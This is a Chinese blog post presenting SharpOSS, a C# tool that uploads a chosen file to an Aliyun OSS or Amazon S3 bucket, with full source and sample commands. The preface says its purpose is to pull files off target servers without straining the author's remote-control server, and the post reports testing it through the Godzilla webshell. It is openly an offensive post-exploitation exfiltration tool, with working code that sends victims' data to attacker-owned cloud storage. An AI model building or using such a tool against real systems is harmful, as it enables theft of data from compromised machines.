SharpOSS兼容阿里云和亚马逊云

前言:项目中下载文件总是通过远控下载的话,如果远控服务器配置不高的话会比较占服务器的带宽,这边的话就编写一个SharpOSS将占宽问题转接到目标服务器上面来进行处理规避自身服务器占宽问题。

参考文章:https://github.com/uknowsec/SharpOSS

代码实现

using Aliyun.OSS;
using Aliyun.OSS.Common;
using Amazon;
using Amazon.S3;
using Amazon.S3.Model;
using System;
using System.IO;

namespace SharpOSS
{
    class Program
    {
        static void Main(string[] args)
        {
            if (args.Length != 6)
            {
                Console.WriteLine("Usage: \n\n" +
                    "SharpOSS.exe OssType bucketName your_access_id your_access_key endpoint UploadFilePath\n\n" +
                    "Example:\n\n" +
                    "SharpOSS.exe aliyun your_buacket your_access_id your_access_key oss-cn-hangzhou.aliyuncs.com d:\\backup.zip\n" +
                    "SharpOSS.exe amazon your_buacket your_access_id your_access_key us-east-1 d:\\backup.zip\n");
                return;
            }

            string OssType = args[0];
            string bucketName = args[1];
            string accessKeyId = args[2];
            string accessKeySecret = args[3];
            string endpoint = args[4];
            string fileToUpload = args[5];

            if (OssType.ToLower() == "aliyun")
            {
                OssClient client = new OssClient(endpoint, accessKeyId, accessKeySecret);
                try
                {
                    string key = Path.GetFileName(fileToUpload);
                    try
                    {
                        client.PutObject(bucketName, key, fileToUpload);
                        Console.WriteLine("\n [+] Upload File {0} to {1}.{2} succeeded", key, bucketName, endpoint);
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine("\n [-] Failed with error info: {0}", ex.Message);
                    }

                }
                catch (OssException ex)
                {
                    Console.WriteLine("\n [-] Failed with error code: {0}; Error info: {1}. \nRequestID:{2}\tHostID:{3}",
                                     ex.ErrorCode, ex.Message, ex.RequestId, ex.HostId);
                }
                catch (Exception ex)
                {
                    Console.WriteLine("\n [-] Failed with error info: {0}", ex.Message);
                }

            }else if (OssType.ToLower() == "amazon")
            {
                try
                {
                    var s3Client = new AmazonS3Client(accessKeyId, accessKeySecret, RegionEndpoint.GetBySystemName(endpoint));

                    var putRequest = new Amazon.S3.Model.PutObjectRequest
                    {
                        BucketName = bucketName,
                        Key = Path.GetFileName(fileToUpload),
                        FilePath = fileToUpload,
                        ContentType = "application/octet-stream"
                    };

                    PutObjectResponse response = s3Client.PutObject(putRequest);

                    Console.WriteLine("\n [+] Upload File {0} to {1} succeeded", Path.GetFileName(fileToUpload), bucketName);
                }
                catch (AmazonS3Exception ex)
                {
                    Console.WriteLine("\n [-] Failed with error code: {0}; Error info: {1}. \nRequestID:{2}",
                                      ex.ErrorCode, ex.Message, ex.RequestId);
                }
                catch (Exception ex)
                {
                    Console.WriteLine("\n [-] Failed with error info: {0}", ex.Message);
                }
            }
            else
            {
                Console.WriteLine($"Current Not Support OSS Type: {args[0]}");
            }
        }
    }
}

阿里云测试

SharpOSS.exe aliyun your_buacket your_access_id your_access_key oss-cn-hangzhou.aliyuncs.com "D:\VisualStudioDatabase\SharpOSS\SharpOSS\bin\Release\SharpOSS-aliyun.exe"

亚马逊云测试

SharpOSS.exe amazon your_buacket your_access_id your_access_key us-east-1 "D:\VisualStudioDatabase\SharpOSS\SharpOSS\bin\Release\ SharpOSS-aliyun.exe"

哥斯拉测试

看来测试结果没有什么问题,如下图所示

对应的s3存储桶也是接受到传输过来的文件,如下图所示

posted @ 2024-06-16 12:15  zpchcbd  阅读(30)  评论(0)    收藏  举报